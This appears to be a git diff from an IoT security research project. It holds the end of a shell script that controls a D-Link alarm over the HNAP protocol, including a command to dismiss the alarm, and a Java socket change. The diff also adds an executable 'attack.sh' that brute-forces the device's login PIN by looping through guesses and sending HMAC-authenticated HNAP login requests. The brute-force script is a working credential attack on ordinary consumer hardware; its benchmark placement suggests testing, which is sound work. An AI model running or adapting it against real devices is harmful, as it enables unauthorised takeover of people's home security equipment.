+    #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+    ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+    echo -e "Return value: $ret"
+         ;;
+--stop )
+         #Next 2 rows to modify query
+         method="SetAlarmDismissed"
+         message="<$method xmlns=\"http://purenetworks.com/HNAP1/\"><ModuleID>1</ModuleID><Controller>1</Controller></$method>"
+    
+    #Do not modify after this line
+         soapAction="SOAPAction: \"http://purenetworks.com/HNAP1/$method\""
+    authStr="$timestamp\"http://purenetworks.com/HNAP1/$method\""
+    auth=`hash_hmac "$authStr" "$privatekey"`
+    hnap_auth="HNAP_AUTH: $auth $timestamp"
+    data="$head$message$end"
+    echo -e "Stop data: $data"
+    
+    #Get Device state from GetSocketSettings
+    #ret=`curl -s -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+    ret=`curl -v -X POST -H "$contentType" -H "$soapAction" -H "$hnap_auth" -H "$cookie" --data-binary "$data" http://$IP/HNAP1`
+         ;;
+* )
+         usage
+         ;;
+esac
diff --git a/benchmarks/other/DLinkAlarm/attack.sh b/benchmarks/other/DLinkAlarm/attack.sh
new file mode 100755 (executable)
index 0000000..39fb94e
--- /dev/null
@@ -0,0 +1,65 @@
+#!/bin/bash
+#modify next two line for your DSP-W215
+IP="192.168.0.35"
+PIN=215530
+#do not modify after this line if you don't know what you are doing
+
+function usage {
+       echo -e "\nUsage: $(basename $0) [OPTION]"
+       echo -e "\nOPTION:"
+       echo -e "\t--getstate"
+       echo -e "\t--stop"
+  echo -e "\t--noise SoundType(1-6) Volume(0-100) Duration(??)"
+}
+
+function hash_hmac {
+  data="$1"
+  key="$2"
+  echo -n "$data" | openssl dgst "-md5" -hmac "$key" -binary | xxd -ps -u
+}
+
+contentType="Content-Type: text/xml; charset=utf-8"
+soapLogin="SOAPAction: \"http://purenetworks.com/HNAP1/Login\""
+
+#Get Login data
+
+head="<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>"
+end="</soap:Body></soap:Envelope>"
+
+message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>admin</Username><LoginPassword>$password</LoginPassword><Captcha/></Login>"
+loginrequest="$head$message$end"
+
+ret=`curl -s -X POST -H "$contentType" -H "$soapLogin" --data-binary "$loginrequest" http://$IP/HNAP1`
+
+function getResult {
+  opt=`echo -n "$ret" | grep -Po "(?<=<$1>).*(?=</$1>)"`
+  echo -n "$opt"
+}
+
+PIN=0
+
+while true
+      do
+echo -e $PIN
+let PIN=$PIN+1
+challenge=`getResult Challenge`
+cookie="Cookie: uid=`getResult Cookie`"
+publickey="`getResult PublicKey`$PIN"
+privatekey=`hash_hmac "$challenge" "$publickey"`
+password=`hash_hmac "$challenge" "$privatekey"`
+timestamp=`date +%s`
+auth_str="$timestamp\"http://purenetworks.com/HNAP1/Login\""
+auth=`hash_hmac "$auth_str" "$privatekey"`
+hnap_auth="HNAP_AUTH: $auth $timestamp"
+
+message="<Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>login</Action><Username>admin</Username><LoginPassword>$password</LoginPassword><Captcha/></Login>"
+
+login="$head$message$end"
+
+#Get Login Result
+mret=`curl -s -X POST -H "$contentType" -H "$soapLogin" -H "$hnap_auth" -H "$cookie" --data-binary "$login" http://$IP/HNAP1`
+
+echo -e "$mret"
+
+done
+
index ada53bd310fa14ca1e4d99dafe96939cf91888a9..f67c4d3d801e86161dcfc9a920468bbcb28d8554 100644 (file)
@@ -6,6 +6,7 @@ import java.net.UnknownHostException;
 import java.net.SocketException;\r
 import java.net.Socket;\r
 import java.net.InetAddress;\r
+import java.net.InetSocketAddress;\r
 import java.net.ServerSocket;\r
 import java.io.InputStream;\r
 import java.io.OutputStream;\r
@@ -30,10 +31,15 @@ public final class IoTTCP {
        protected IoTTCP(Socket _socket) {\r
                socket = _socket;\r
        }\r
-\r
-       /**\r
-        * Class constructor\r
+       \r
+    /**\r
+        * Class constructor - no binding at first\r
         */\r
+    public IoTTCP() {\r
+        socket = new Socket();\r
+    }\r
+\r
+\r
        public IoTTCP(IoTDeviceAddress iotDevAdd) throws UnknownHostException, IOException {\r
 \r
                String strHostAddress = iotDevAdd.getHostAddress();\r
@@ -42,6 +48,22 @@ public final class IoTTCP {
 \r
                socket = new Socket(strHostAddress, iDstPort, InetAddress.getLocalHost(), iSrcPort);\r
        }\r
+       \r
+       /**\r
+        * bindAndConnect() method\r
+        */\r
+       public void bindAndConnect(IoTDeviceAddress iotDevAdd, boolean bindToLocal) throws UnknownHostException, IOException {\r
+\r
+               String strHostAddress = iotDevAdd.getHostAddress();\r
+               int iDstPort = iotDevAdd.getDestinationPortNumber();\r
+\r
+        // Check if we need to bind to a specific port locally\r
+        if (bindToLocal) {\r
+                       int iSrcPort = iotDevAdd.getSourcePortNumber();\r
+               socket.bind(new InetSocketAddress(InetAddress.getLocalHost(), iSrcPort));\r
+        }\r
+       socket.connect(new InetSocketAddress(strHostAddress, iDstPort));\r
+       }\r
 \r
        /**\r
         * getInputStream() method\r